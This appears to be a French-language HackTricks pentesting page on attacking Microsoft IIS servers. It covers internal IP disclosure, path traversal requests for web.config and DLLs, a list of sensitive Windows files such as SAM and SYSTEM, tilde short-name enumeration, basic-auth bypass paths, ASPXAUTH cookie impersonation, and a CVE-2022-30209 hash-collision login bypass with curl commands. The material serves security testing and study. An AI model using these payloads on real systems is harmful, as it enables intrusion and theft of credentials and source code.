16 KiB
IIS - Internet Information Services
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)!
Autres façons de soutenir HackTricks:
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La famille PEASS, notre collection exclusive de NFT
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud dépôts GitHub.
Testez les extensions de fichiers exécutables :
- asp
- aspx
- config
- php
Divulgation de l'adresse IP interne
Sur n'importe quel serveur IIS où vous obtenez un 302, vous pouvez essayer de supprimer l'en-tête Host et d'utiliser HTTP/1.0 et à l'intérieur de la réponse, l'en-tête Location pourrait vous pointer vers l'adresse IP interne :
nc -v domain.com 80
openssl s_client -connect domain.com:443
Réponse divulguant l'IP interne :
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
Exécuter des fichiers .config
Vous pouvez télécharger des fichiers .config et les utiliser pour exécuter du code. Une façon de le faire est d'ajouter le code à la fin du fichier à l'intérieur d'un commentaire HTML : Téléchargez l'exemple ici
Plus d'informations et de techniques pour exploiter cette vulnérabilité ici
Bruteforce de découverte IIS
Téléchargez la liste que j'ai créée :
{% file src="../../.gitbook/assets/iisfinal.txt" %}
Elle a été créée en fusionnant le contenu des listes suivantes :
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt
Utilisez-le sans ajouter d'extension, les fichiers qui en ont besoin l'ont déjà.
Traversée de chemin
Fuite de code source
Consultez l'analyse complète sur : https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
{% hint style="info" %}
En résumé, il y a plusieurs fichiers web.config à l'intérieur des dossiers de l'application avec des références aux fichiers "assemblyIdentity" et aux "namespaces". Avec ces informations, il est possible de savoir où se trouvent les exécutables et de les télécharger.
À partir des Dlls téléchargés, il est également possible de trouver de nouveaux namespaces auxquels vous devriez essayer d'accéder et obtenir le fichier web.config afin de trouver de nouveaux namespaces et assemblyIdentity.
De plus, les fichiers connectionstrings.config et global.asax peuvent contenir des informations intéressantes.\
{% endhint %}
Dans les applications .Net MVC, le fichier web.config joue un rôle crucial en spécifiant chaque fichier binaire sur lequel l'application repose à travers les balises XML "assemblyIdentity".
Exploration des fichiers binaires
Un exemple d'accès au fichier web.config est présenté ci-dessous :
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
Ce demande révèle divers paramètres et dépendances, tels que:
- Version d'EntityFramework
- AppSettings pour les pages web, la validation client et JavaScript
- Configurations de System.web pour l'authentification et l'exécution
- Paramètres des modules de System.webServer
- Liaisons d'assembly de Runtime pour de nombreuses bibliothèques comme Microsoft.Owin, Newtonsoft.Json, et System.Web.Mvc
Ces paramètres indiquent que certains fichiers, tels que /bin/WebGrease.dll, sont situés dans le dossier /bin de l'application.
Fichiers du Répertoire Racine
Les fichiers trouvés dans le répertoire racine, comme /global.asax et /connectionstrings.config (qui contient des mots de passe sensibles), sont essentiels pour la configuration et le fonctionnement de l'application.
Espaces de Noms et Web.Config
Les applications MVC définissent également des fichiers web.config supplémentaires pour des espaces de noms spécifiques afin d'éviter des déclarations répétitives dans chaque fichier, comme le montre une demande de téléchargement d'un autre web.config:
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
Téléchargement de DLLs
La mention d'un espace de noms personnalisé suggère l'existence d'une DLL nommée "WebApplication1" présente dans le répertoire /bin. Ensuite, une requête pour télécharger le WebApplication1.dll est affichée:
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
Cela suggère la présence d'autres DLL essentielles, comme System.Web.Mvc.dll et System.Web.Optimization.dll, dans le répertoire /bin.
Dans un scénario où une DLL importe un espace de noms appelé WebApplication1.Areas.Minded, un attaquant pourrait déduire l'existence d'autres fichiers web.config dans des chemins prévisibles, tels que /nom-de-la-zone/Views/, contenant des configurations spécifiques et des références à d'autres DLL dans le dossier /bin. Par exemple, une requête vers /Minded/Views/web.config peut révéler des configurations et des espaces de noms indiquant la présence d'une autre DLL, WebApplication1.AdditionalFeatures.dll.
Fichiers courants
Depuis ici
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
Erreur 404 HTTPAPI 2.0
Si vous voyez une erreur comme celle-ci :
Cela signifie que le serveur n'a pas reçu le nom de domaine correct dans l'en-tête Host.
Pour accéder à la page web, vous pouvez consulter le certificat SSL fourni et peut-être trouver le nom de domaine/sous-domaine à l'intérieur. S'il n'est pas là, vous devrez peut-être forcer VHosts jusqu'à ce que vous trouviez le bon.
Anciennes vulnérabilités IIS à rechercher
Vulnérabilité/Fonctionnalité du caractère tilde “~” de Microsoft IIS - Divulgation de noms de fichiers/dossiers courts
Vous pouvez essayer d'énumérer les dossiers et fichiers à l'intérieur de chaque dossier découvert (même s'il nécessite une authentification de base) en utilisant cette technique.
La principale limitation de cette technique si le serveur est vulnérable est qu'elle ne peut trouver que les 6 premières lettres du nom de chaque fichier/dossier et les 3 premières lettres de l'extension des fichiers.
Vous pouvez utiliser https://github.com/irsdl/IIS-ShortName-Scanner pour tester cette vulnérabilité : java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
Recherche originale : https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
Vous pouvez également utiliser metasploit : use scanner/http/iis_shortname_scanner
Contournement de l'authentification de base
Contournez une authentification de base (IIS 7.5) en essayant d'accéder à : /admin:$i30:$INDEX_ALLOCATION/admin.php
ou /admin::$INDEX_ALLOCATION/admin.php
Vous pouvez essayer de combiner cette vulnérabilité avec la précédente pour trouver de nouveaux dossiers et contourner l'authentification.
Débogage activé Trace.AXD ASP.NET
ASP.NET inclut un mode de débogage et son fichier s'appelle trace.axd
.
Il conserve un journal très détaillé de toutes les requêtes effectuées à une application sur une période donnée.
Ces informations incluent les adresses IP distantes des clients, les ID de session, tous les cookies de requête et de réponse, les chemins physiques, les informations de code source, et potentiellement même les noms d'utilisateur et les mots de passe.
https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/
Cookie ASPXAUTH
ASPXAUTH utilise les informations suivantes :
validationKey
(chaîne) : clé encodée en hexadécimal à utiliser pour la validation de la signature.decryptionMethod
(chaîne) : (par défaut "AES").decryptionIV
(chaîne) : vecteur d'initialisation encodé en hexadécimal (par défaut un vecteur de zéros).decryptionKey
(chaîne) : clé encodée en hexadécimal à utiliser pour le déchiffrement.
Cependant, certaines personnes utiliseront les valeurs par défaut de ces paramètres et utiliseront comme cookie l'e-mail de l'utilisateur. Par conséquent, si vous trouvez un site web utilisant la même plateforme qui utilise le cookie ASPXAUTH et que vous créez un utilisateur avec l'e-mail de l'utilisateur que vous souhaitez usurper sur le serveur attaqué, vous pourrez peut-être utiliser le cookie du deuxième serveur dans le premier et usurper l'utilisateur.
Cette attaque a fonctionné dans ce writeup.
Contournement de l'authentification IIS avec des mots de passe mis en cache (CVE-2022-30209)
Rapport complet ici : Un bogue dans le code ne vérifiait pas correctement le mot de passe fourni par l'utilisateur, donc un attaquant dont le hachage de mot de passe correspond à une clé déjà dans le cache pourra se connecter en tant qu'utilisateur.
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)!
D'autres façons de soutenir HackTricks:
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La famille PEASS, notre collection exclusive de NFTs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud github repos.